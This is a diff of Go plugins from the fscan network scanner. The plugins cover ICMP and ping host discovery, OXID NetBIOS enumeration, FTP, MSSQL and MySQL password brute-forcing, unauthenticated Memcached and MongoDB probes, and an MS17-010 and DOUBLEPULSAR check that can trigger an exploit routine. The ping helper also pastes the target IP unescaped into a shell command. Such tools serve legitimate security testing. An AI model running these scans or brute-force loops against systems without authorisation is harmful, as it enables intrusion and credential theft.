closer io.Closer
*bufio.Writer
}
func (w *bufWriter) Close() error {
if err := w.Writer.Flush(); err != nil {
w.closer.Close()
return err
}
return w.closer.Close()
}
func newWriter(c *FCGIClient, recType uint8, reqId uint16) *bufWriter {
s := &streamWriter{c: c, recType: recType, reqId: reqId}
w := bufio.NewWriterSize(s, maxWrite)
return &bufWriter{s, w}
}
// streamWriter abstracts out the separation of a stream into discrete records.
// It only writes maxWrite bytes at a time.
type streamWriter struct {
c *FCGIClient
recType uint8
reqId uint16
}
func (w *streamWriter) Write(p []byte) (int, error) {
nn := 0
for len(p) > 0 {
n := len(p)
if n > maxWrite {
n = maxWrite
}
if err := w.c.writeRecord(w.recType, w.reqId, p[:n]); err != nil {
return nn, err
}
nn += n
p = p[n:]
}
return nn, nil
}
func (w *streamWriter) Close() error {
// send empty record to close the stream
return w.c.writeRecord(w.recType, w.reqId, nil)
}
func (this *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) {
var reqId uint16 = 1
defer this.rwc.Close()
err = this.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0)
if err != nil {
return
}
err = this.writePairs(FCGI_PARAMS, reqId, env)
if err != nil {
return
}
if len(reqStr) > 0 {
err = this.writeRecord(FCGI_STDIN, reqId, []byte(reqStr))
if err != nil {
return
}
}
rec := &record{}
var err1 error
// recive untill EOF or FCGI_END_REQUEST
for {
err1 = rec.read(this.rwc)
if err1 != nil {
if err1 != io.EOF {
err = err1
}
break
}
switch {
case rec.h.Type == FCGI_STDOUT:
retout = append(retout, rec.content()...)
case rec.h.Type == FCGI_STDERR:
reterr = append(reterr, rec.content()...)
case rec.h.Type == FCGI_END_REQUEST:
fallthrough
default:
break
}
}
return
}
+41 -47
View File
@@ -2,83 +2,77 @@ package Plugins
import (
"bytes"
"encoding/hex"
"fmt"
"github.com/shadow1ng/fscan/common"
"net"
"strings"
"time"
//"encoding/binary"
"encoding/hex"
"fmt"
"sync"
"../common"
)
var (
bufferV1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
bufferV2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
bufferV3, _ = hex.DecodeString("0900ffff0000")
)
buffer_v1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
buffer_v2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
buffer_v3, _ = hex.DecodeString("0900ffff0000")
func Findnet(info *common.HostInfo) error {
err := FindnetScan(info)
return err
)
func Findnet(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
FindnetScan(info)
wg.Done()
<- ch
}
func FindnetScan(info *common.HostInfo) error {
realhost := fmt.Sprintf("%s:%v", info.Host, 135)
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
defer func() {
if conn != nil {
conn.Close()
}
}()
if err != nil {
return err
}
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil {
return err
}
_, err = conn.Write(bufferV1)
if err != nil {
return err
func FindnetScan(info *common.HostInfo) {
realhost:=fmt.Sprintf("%s:%d",info.Host,135)
conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second)
if err != nil{
return
}
conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout)*time.Second))
defer conn.Close()
conn.Write(buffer_v1)
reply := make([]byte, 4096)
_, err = conn.Read(reply)
if err != nil {
return err
}
_, err = conn.Write(bufferV2)
if err != nil {
return err
if err != nil{
return
}
conn.Write(buffer_v2)
if n, err := conn.Read(reply); err != nil || n < 42 {
return err
return
}
text := reply[42:]
flag := true
for i := 0; i < len(text)-5; i++ {
if bytes.Equal(text[i:i+6], bufferV3) {
if bytes.Equal(text[i:i+6], buffer_v3){
text = text[:i-4]
flag = false
break
}
}
if flag {
return err
if flag{
return
}
err = read(text, info.Host)
return err
read(text,info.Host)
}
func read(text []byte, host string) error {
func read(text []byte,host string) {
encodedStr := hex.EncodeToString(text)
hostnames := strings.Replace(encodedStr, "0700", "", -1)
hostname := strings.Split(hostnames, "000000")
result := "[+] NetInfo:\n[*]" + host
result := "NetInfo:\n[*]"+host
for i := 0; i < len(hostname); i++ {
hostname[i] = strings.Replace(hostname[i], "00", "", -1)
host, err := hex.DecodeString(hostname[i])
if err != nil {
return err
host,err := hex.DecodeString(hostname[i])
if err != nil{
return
}
result += "\n [->]" + string(host)
result += "\n [->]"+string(host)
//result += "\n ["+string(host)+"]"
}
common.LogSuccess(result)
return nil
}
+22 -60
View File
@@ -1,79 +1,41 @@
package Plugins
import (
"fmt"
"../common"
"github.com/jlaffaye/ftp"
"github.com/shadow1ng/fscan/common"
"fmt"
"strings"
"sync"
"time"
)
func FtpScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return
}
starttime := time.Now().Unix()
flag, err := FtpConn(info, "anonymous", "")
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v", info.Host, info.Ports, "anonymous", err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
}
for _, user := range common.Userdict["ftp"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := FtpConn(info, user, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ftp"])*len(common.Passwords)) * common.Timeout) {
return err
}
func FtpScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
Loop:
for _,user:=range common.Userdict["ftp"]{
for _,pass:=range common.Passwords{
pass = strings.Replace(pass, "{user}", string(user), -1)
flag,err := FtpConn(info,user,pass,ch,wg)
if flag==true && err==nil {
break Loop
}
}
}
return tmperr
wg.Done()
<- ch
}
func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
func FtpConn(info *common.HostInfo,user string,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(common.Timeout)*time.Second)
Host,Port,Username,Password := info.Host, common.PORTList["ftp"],user, pass
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v",Host,Port), time.Duration(info.Timeout)*time.Second)
if err == nil {
err = conn.Login(Username, Password)
err = conn.Login(Username,Password)
if err == nil {
flag = true
result := fmt.Sprintf("[+] ftp://%v:%v:%v %v", Host, Port, Username, Password)
dirs, err := conn.List("")
//defer conn.Logout()
if err == nil {
if len(dirs) > 0 {
for i := 0; i < len(dirs); i++ {
if len(dirs[i].Name) > 50 {
result += "\n [->]" + dirs[i].Name[:50]
} else {
result += "\n [->]" + dirs[i].Name
}
if i == 5 {
break
}
}
}
}
defer conn.Logout()
result := fmt.Sprintf("FTP:%v:%v:%v %v",Host,Port,Username,Password)
common.LogSuccess(result)
flag = true
}
}
return flag, err
}
return flag,err
}
+140 -255
View File
@@ -2,317 +2,202 @@ package Plugins
import (
"bytes"
"encoding/binary"
"fmt"
"github.com/shadow1ng/fscan/common"
"golang.org/x/net/icmp"
"net"
"os"
"os/exec"
"os/user"
"runtime"
"strings"
"sync"
"time"
)
var (
AliveHosts []string
OS = runtime.GOOS
ExistHosts = make(map[string]struct{})
livewg sync.WaitGroup
)
var icmp ICMP
func CheckLive(hostslist []string, Ping bool) []string {
chanHosts := make(chan string, len(hostslist))
go func() {
for ip := range chanHosts {
if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) {
ExistHosts[ip] = struct{}{}
if common.Silent == false {
if Ping == false {
fmt.Printf("(icmp) Target %-15s is alive\n", ip)
} else {
fmt.Printf("(ping) Target %-15s is alive\n", ip)
}
}
AliveHosts = append(AliveHosts, ip)
}
livewg.Done()
}
}()
var AliveHosts []string
if Ping == true {
//使用ping探测
RunPing(hostslist, chanHosts)
} else {
//优先尝试监听本地icmp,批量探测
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
if err == nil {
RunIcmp1(hostslist, conn, chanHosts)
} else {
common.LogError(err)
//尝试无监听icmp探测
fmt.Println("trying RunIcmp2")
conn, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second)
defer func() {
if conn != nil {
conn.Close()
}
}()
if err == nil {
RunIcmp2(hostslist, chanHosts)
} else {
common.LogError(err)
//使用ping探测
fmt.Println("The current user permissions unable to send icmp packets")
fmt.Println("start ping")
RunPing(hostslist, chanHosts)
}
}
}
livewg.Wait()
close(chanHosts)
if len(hostslist) > 1000 {
arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, true)
for i := 0; i < len(arrTop); i++ {
output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0.0/16", arrLen[i])
common.LogSuccess(output)
}
}
if len(hostslist) > 256 {
arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, false)
for i := 0; i < len(arrTop); i++ {
output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0/24", arrLen[i])
common.LogSuccess(output)
}
}
return AliveHosts
type ICMP struct {
Type uint8
Code uint8
Checksum uint16
Identifier uint16
SequenceNum uint16
}
func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string) {
endflag := false
go func() {
for {
if endflag == true {
return
}
msg := make([]byte, 100)
_, sourceIP, _ := conn.ReadFrom(msg)
if sourceIP != nil {
livewg.Add(1)
chanHosts <- sourceIP.String()
}
}
}()
for _, host := range hostslist {
dst, _ := net.ResolveIPAddr("ip", host)
IcmpByte := makemsg(host)
conn.WriteTo(IcmpByte, dst)
}
//根据hosts数量修改icmp监听时间
start := time.Now()
for {
if len(AliveHosts) == len(hostslist) {
break
}
since := time.Now().Sub(start)
var wait time.Duration
switch {
case len(hostslist) <= 256:
wait = time.Second * 3
default:
wait = time.Second * 6
}
if since > wait {
break
}
}
endflag = true
conn.Close()
type SystemInfo struct {
OS string
ARCH string
HostName string
Groupid string
Userid string
Username string
UserHomeDir string
}
func RunIcmp2(hostslist []string, chanHosts chan string) {
num := 1000
if len(hostslist) < num {
num = len(hostslist)
func GetSys() SystemInfo {
var sysinfo SystemInfo
sysinfo.OS = runtime.GOOS
sysinfo.ARCH = runtime.GOARCH
name, err := os.Hostname()
if err == nil {
sysinfo.HostName = name
}
var wg sync.WaitGroup
limiter := make(chan struct{}, num)
for _, host := range hostslist {
wg.Add(1)
limiter <- struct{}{}
go func(host string) {
if icmpalive(host) {
livewg.Add(1)
chanHosts <- host
}
<-limiter
wg.Done()
}(host)
}
wg.Wait()
close(limiter)
u, err := user.Current()
sysinfo.Groupid = u.Gid
sysinfo.Userid = u.Uid
sysinfo.Username = u.Username
sysinfo.UserHomeDir = u.HomeDir
return sysinfo
}
func icmpalive(host string) bool {
startTime := time.Now()
conn, err := net.DialTimeout("ip4:icmp", host, 6*time.Second)
defer func() {
if conn != nil {
conn.Close()
}
}()
func isping(ip string) bool {
icmp.Type = 8
icmp.Code = 0
icmp.Checksum = 0
icmp.Identifier = 0
icmp.SequenceNum = 0
recvBuf := make([]byte, 32)
var buffer bytes.Buffer
binary.Write(&buffer, binary.BigEndian, icmp)
icmp.Checksum = CheckSum(buffer.Bytes())
buffer.Reset()
binary.Write(&buffer, binary.BigEndian, icmp)
Time, _ := time.ParseDuration("2s")
conn, err := net.DialTimeout("ip4:icmp", ip, Time)
if err != nil {
return false
}
if err := conn.SetDeadline(startTime.Add(6 * time.Second)); err != nil {
_, err = conn.Write(buffer.Bytes())
if err != nil {
return false
}
msg := makemsg(host)
if _, err := conn.Write(msg); err != nil {
conn.SetReadDeadline(time.Now().Add(time.Second * 2))
num, err := conn.Read(recvBuf)
if err != nil {
return false
}
receive := make([]byte, 60)
if _, err := conn.Read(receive); err != nil {
return false
conn.SetReadDeadline(time.Time{})
if string(recvBuf[0:num]) != "" {
fmt.Printf("(ICMP) Target '%s' is alive\n",ip)
return true
}
return false
return true
}
func RunPing(hostslist []string, chanHosts chan string) {
var bsenv = ""
if OS != "windows" {
bsenv = "/bin/bash"
func CheckSum(data []byte) uint16 {
var (
sum uint32
length int = len(data)
index int
)
for length > 1 {
sum += uint32(data[index])<<8 + uint32(data[index+1])
index += 2
length -= 2
}
if length > 0 {
sum += uint32(data[index])
}
sum += (sum >> 16)
return uint16(^sum)
}
func IcmpCheck(hostslist []string) {
var wg sync.WaitGroup
limiter := make(chan struct{}, 50)
for _, host := range hostslist {
mutex := &sync.Mutex{}
for _,host :=range hostslist{
wg.Add(1)
limiter <- struct{}{}
go func(host string) {
if ExecCommandPing(host, bsenv) {
livewg.Add(1)
chanHosts <- host
defer wg.Done()
if isping(host){
mutex.Lock()
AliveHosts = append(AliveHosts, host)
mutex.Unlock()
}
<-limiter
wg.Done()
}(host)
}
wg.Wait()
}
func ExecCommandPing(ip string, bsenv string) bool {
var command *exec.Cmd
if OS == "windows" {
command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
} else if OS == "linux" {
command = exec.Command(bsenv, "-c", "ping -c 1 -w 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
} else if OS == "darwin" {
command = exec.Command(bsenv, "-c", "ping -c 1 -W 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
}
func ExecCommandPing(ip string,bsenv string) bool {
command := exec.Command(bsenv, "-c", "ping -c 1 -w 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
outinfo := bytes.Buffer{}
command.Stdout = &outinfo
err := command.Start()
if err != nil {
if err != nil{
return false
}
if err = command.Wait(); err != nil {
if err = command.Wait();err!=nil{
return false
} else {
if strings.Contains(outinfo.String(), "true") {
}else{
if(strings.Contains(outinfo.String(), "true")) {
return true
} else {
}else {
return false
}
}
}
func makemsg(host string) []byte {
msg := make([]byte, 40)
id0, id1 := genIdentifier(host)
msg[0] = 8
msg[1] = 0
msg[2] = 0
msg[3] = 0
msg[4], msg[5] = id0, id1
msg[6], msg[7] = genSequence(1)
check := checkSum(msg[0:40])
msg[2] = byte(check >> 8)
msg[3] = byte(check & 255)
return msg
}
func checkSum(msg []byte) uint16 {
sum := 0
length := len(msg)
for i := 0; i < length-1; i += 2 {
sum += int(msg[i])*256 + int(msg[i+1])
}
if length%2 == 1 {
sum += int(msg[length-1]) * 256
}
sum = (sum >> 16) + (sum & 0xffff)
sum = sum + (sum >> 16)
answer := uint16(^sum)
return answer
}
func genSequence(v int16) (byte, byte) {
ret1 := byte(v >> 8)
ret2 := byte(v & 255)
return ret1, ret2
}
func genIdentifier(host string) (byte, byte) {
return host[0], host[1]
}
func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop []string, arrLen []int) {
if len(arrInit) == 0 {
return
}
arrMap1 := make(map[string]int)
arrMap2 := make(map[string]int)
for _, value := range arrInit {
line := strings.Split(value, ".")
if len(line) == 4 {
if flag {
value = fmt.Sprintf("%s.%s", line[0], line[1])
} else {
value = fmt.Sprintf("%s.%s.%s", line[0], line[1], line[2])
func PingCMDcheck(hostslist []string,bsenv string) {
var wg sync.WaitGroup
mutex := &sync.Mutex{}
limiter := make(chan struct{}, 40)
//aliveHost := make(chan string, 20)
//go func() {
// for s := range aliveHost {
// fmt.Println(s)
// }
//}()
for _,host :=range hostslist{
wg.Add(1)
limiter <- struct{}{}
go func(host string) {
defer wg.Done()
if ExecCommandPing(host,bsenv){
mutex.Lock()
fmt.Printf("(Ping) Target '%s' is alive\n",host)
AliveHosts = append(AliveHosts, host)
mutex.Unlock()
}
}
if arrMap1[value] != 0 {
arrMap1[value]++
} else {
arrMap1[value] = 1
}
<-limiter
}(host)
}
for k, v := range arrMap1 {
arrMap2[k] = v
}
wg.Wait()
//close(aliveHost)
}
func ICMPRun(hostslist []string) []string{
var sysinfo SystemInfo
sysinfo = GetSys()
i := 0
for _ = range arrMap1 {
var maxCountKey string
var maxCountVal = 0
for key, val := range arrMap2 {
if val > maxCountVal {
maxCountVal = val
maxCountKey = key
}
if sysinfo.OS == "windows" {
IcmpCheck(hostslist)
}else if sysinfo.OS == "linux" {
if (sysinfo.Groupid == "0" || sysinfo.Userid == "0" || sysinfo.Username == "root") {
IcmpCheck(hostslist)
}else {
PingCMDcheck(hostslist,"/bin/bash")
}
arrTop = append(arrTop, maxCountKey)
arrLen = append(arrLen, maxCountVal)
i++
if i >= length {
return
}else if sysinfo.OS == "darwin" {
if (sysinfo.Groupid == "0" || sysinfo.Userid == "0" || sysinfo.Username == "root") {
IcmpCheck(hostslist)
}else {
PingCMDcheck(hostslist,"/usr/local/bin/bash")
}
delete(arrMap2, maxCountKey)
}
return
return AliveHosts
}
+18 -25
View File
@@ -1,38 +1,31 @@
package Plugins
import (
"../common"
"fmt"
"github.com/shadow1ng/fscan/common"
"net"
"strings"
"sync"
"time"
)
func MemcachedScan(info *common.HostInfo) (err error) {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
client, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
defer func() {
if client != nil {
client.Close()
}
}()
if err == nil {
err = client.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
func MemcachedScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) (err error, result string) {
realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["mem"])
client,err:=net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second)
if err==nil {
client.SetDeadline(time.Now().Add(time.Duration(info.Timeout)*time.Second))
client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
rev := make([]byte, 1024)
n, err := client.Read(rev)
if err == nil {
_, err = client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
if err == nil {
rev := make([]byte, 1024)
n, err := client.Read(rev)
if err == nil {
if strings.Contains(string(rev[:n]), "STAT") {
result := fmt.Sprintf("[+] Memcached %s unauthorized", realhost)
common.LogSuccess(result)
}
} else {
errlog := fmt.Sprintf("[-] Memcached %v:%v %v", info.Host, info.Ports, err)
common.LogError(errlog)
}
if strings.Contains(string(rev[:n]), "STAT") {
defer client.Close()
result = fmt.Sprintf("Memcached:%s unauthorized",realhost)
common.LogSuccess(result)
}
}
}
return err
wg.Done()
<- ch
return err, result
}
+31 -38
View File
@@ -1,56 +1,49 @@
package Plugins
import (
"../common"
"fmt"
_ "github.com/denisenkom/go-mssqldb"
"github.com/shadow1ng/fscan/common"
"net"
"strings"
"sync"
"time"
)
func MongodbScan(info *common.HostInfo) error {
if common.IsBrute {
return nil
}
_, err := MongodbUnauth(info)
if err != nil {
errlog := fmt.Sprintf("[-] Mongodb %v:%v %v", info.Host, info.Ports, err)
common.LogError(errlog)
}
return err
func MongodbScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
MongodbUnauth(info)
wg.Done()
<- ch
}
func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
func MongodbUnauth(info *common.HostInfo) (flag bool,err error) {
flag = false
senddata := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0}
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
defer func() {
if conn != nil {
conn.Close()
}
}()
if err != nil {
return flag, err
}
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil {
return flag, err
}
_, err = conn.Write(senddata)
if err != nil {
return flag, err
}
send_data := []byte{58,0,0,0,167,65,0,0,0,0,0,0,212,7,0,0,0,0,0,0,97,100,109,105,110,46,36,99,109,100,0,0,0,0,0,255,255,255,255,19,0,0,0,16,105,115,109,97,115,116,101,114,0,1,0,0,0,0}
getlog_data := []byte{72,0,0,0,2,0,0,0,0,0,0,0,212,7,0,0,0,0,0,0,97,100,109,105,110,46,36,99,109,100,0,0,0,0,0,1,0,0,0,33,0,0,0,2,103,101,116,76,111,103,0,16,0,0,0,115,116,97,114,116,117,112,87,97,114,110,105,110,103,115,0,0}
realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["mgo"])
conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second)
if err != nil{return}
defer conn.Close()
conn.Write(send_data)
buf := make([]byte, 1024)
count, err := conn.Read(buf)
if err != nil {
return flag, err
return flag,err
}
text := string(buf[0:count])
if strings.Contains(text, "totalLinesWritten") {
flag = true
result := fmt.Sprintf("[+] Mongodb:%v unauthorized", realhost)
common.LogSuccess(result)
if strings.Contains(text,"ismaster"){
conn.Write(getlog_data)
count, err := conn.Read(buf)
if err != nil {
return flag,err
}
text := string(buf[0:count])
if strings.Contains(text,"totalLinesWritten"){
flag = true
result := fmt.Sprintf("Mongodb:%v unauthorized",realhost)
common.LogSuccess(result)
}
}
return flag, err
}
return flag,err
}
File diff suppressed because it is too large Load Diff
+39 -64
View File
@@ -3,10 +3,14 @@ package Plugins
import (
"encoding/binary"
"encoding/hex"
"errors"
"sync"
//"flag"
"fmt"
"github.com/shadow1ng/fscan/common"
"net"
"../common"
"strings"
//"sync"
"time"
)
@@ -18,65 +22,47 @@ var (
trans2SessionSetupRequest, _ = hex.DecodeString("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000")
)
func MS17010(info *common.HostInfo) error {
if common.IsBrute {
return nil
}
err := MS17010Scan(info)
if err != nil {
errlog := fmt.Sprintf("[-] Ms17010 %v %v", info.Host, err)
common.LogError(errlog)
}
return err
func MS17010(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
MS17010Scan(info)
wg.Done()
<- ch
}
func MS17010Scan(info *common.HostInfo) error {
func MS17010Scan(info *common.HostInfo) {
ip := info.Host
// connecting to a host in LAN if reachable should be very quick
conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(common.Timeout)*time.Second)
defer func() {
if conn != nil {
conn.Close()
}
}()
conn, err := net.DialTimeout("tcp", ip+":445", time.Duration(info.Timeout)*time.Second)
if err != nil {
//fmt.Printf("failed to connect to %s\n", ip)
return err
}
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil {
//fmt.Printf("failed to connect to %s\n", ip)
return err
}
_, err = conn.Write(negotiateProtocolRequest)
if err != nil {
return err
return
}
defer conn.Close()
conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout)*time.Second))
conn.Write(negotiateProtocolRequest)
reply := make([]byte, 1024)
// let alone half packet
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
return
}
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
// status != 0
return err
return
}
_, err = conn.Write(sessionSetupRequest)
if err != nil {
return err
}
conn.Write(sessionSetupRequest)
n, err := conn.Read(reply)
if err != nil || n < 36 {
return err
return
}
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
// status != 0
//fmt.Printf("can't determine whether %s is vulnerable or not\n", ip)
var Err = errors.New("can't determine whether target is vulnerable or not")
return Err
return
}
// extract OS info
@@ -86,13 +72,13 @@ func MS17010Scan(info *common.HostInfo) error {
// find byte count
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
if n != int(byteCount)+45 {
fmt.Println("[-]", ip+":445", "ms17010 invalid session setup AndX response")
fmt.Println("invalid session setup AndX response")
} else {
// two continous null bytes indicates end of a unicode string
for i := 10; i < len(sessionSetupResponse)-1; i++ {
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
os = string(sessionSetupResponse[10:i])
os = strings.Replace(os, string([]byte{0x00}), "", -1)
os = strings.Replace(os, string([]byte{0x00}), "",-1)
break
}
}
@@ -103,12 +89,10 @@ func MS17010Scan(info *common.HostInfo) error {
treeConnectRequest[32] = userID[0]
treeConnectRequest[33] = userID[1]
// TODO change the ip in tree path though it doesn't matter
_, err = conn.Write(treeConnectRequest)
if err != nil {
return err
}
conn.Write(treeConnectRequest)
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
return
}
treeID := reply[28:30]
@@ -117,48 +101,39 @@ func MS17010Scan(info *common.HostInfo) error {
transNamedPipeRequest[32] = userID[0]
transNamedPipeRequest[33] = userID[1]
_, err = conn.Write(transNamedPipeRequest)
if err != nil {
return err
}
conn.Write(transNamedPipeRequest)
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
return
}
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
//fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
//if runtime.GOOS=="windows" {fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
//} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)}
result := fmt.Sprintf("[+] %s\tMS17-010\t(%s)", ip, os)
result := fmt.Sprintf("%s\tMS17-010\t(%s)", ip, os)
common.LogSuccess(result)
defer func() {
if common.SC != "" {
MS17010EXP(info)
}
}()
// detect present of DOUBLEPULSAR SMB implant
trans2SessionSetupRequest[28] = treeID[0]
trans2SessionSetupRequest[29] = treeID[1]
trans2SessionSetupRequest[32] = userID[0]
trans2SessionSetupRequest[33] = userID[1]
_, err = conn.Write(trans2SessionSetupRequest)
if err != nil {
return err
}
conn.Write(trans2SessionSetupRequest)
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
return
}
if reply[34] == 0x51 {
result := fmt.Sprintf("[+] %s has DOUBLEPULSAR SMB IMPLANT", ip)
//fmt.Printf("DOUBLEPULSAR SMB IMPLANT in %s\n", ip)
result := fmt.Sprintf("DOUBLEPULSAR SMB IMPLANT in %s", ip)
common.LogSuccess(result)
}
} else {
result := fmt.Sprintf("[*] %s (%s)", ip, os)
result := fmt.Sprintf("%s\t \t(%s)\n", ip, os)
common.LogSuccess(result)
}
return err
}
+22 -31
View File
@@ -1,57 +1,48 @@
package Plugins
import (
"../common"
"database/sql"
"fmt"
_ "github.com/denisenkom/go-mssqldb"
"github.com/shadow1ng/fscan/common"
"strings"
"sync"
"time"
)
func MssqlScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return
}
starttime := time.Now().Unix()
for _, user := range common.Userdict["mssql"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := MssqlConn(info, user, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] mssql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mssql"])*len(common.Passwords)) * common.Timeout) {
return err
}
func MssqlScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
Loop:
for _,user:=range common.Userdict["mssql"]{
for _,pass:=range common.Passwords{
pass = strings.Replace(pass, "{user}", string(user), -1)
flag,err := MssqlConn(info,user,pass,ch,wg)
if flag==true && err==nil {
break Loop
}
}
}
return tmperr
wg.Done()
<- ch
}
func MssqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
func MssqlConn(info *common.HostInfo,user string,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(common.Timeout)*time.Second)
Host,Port,Username,Password := info.Host, common.PORTList["mssql"],user, pass
dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%d;encrypt=disable;timeout=%d", Host,Username,Password,Port,time.Duration(info.Timeout)*time.Second)
db, err := sql.Open("mssql", dataSourceName)
if err == nil {
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
db.SetMaxIdleConns(0)
db.SetConnMaxLifetime(time.Duration(info.Timeout)*time.Second)
defer db.Close()
err = db.Ping()
if err == nil {
result := fmt.Sprintf("[+] mssql:%v:%v:%v %v", Host, Port, Username, Password)
result := fmt.Sprintf("mssql:%v:%v:%v %v",Host,Port,Username,Password)
common.LogSuccess(result)
flag = true
}
}
return flag, err
return flag,err
}
+21 -32
View File
@@ -1,57 +1,46 @@
package Plugins
import (
"../common"
"database/sql"
"fmt"
_ "github.com/go-sql-driver/mysql"
"github.com/shadow1ng/fscan/common"
"strings"
"sync"
"time"
)
func MysqlScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return
}
starttime := time.Now().Unix()
for _, user := range common.Userdict["mysql"] {
for _, pass := range common.Passwords {
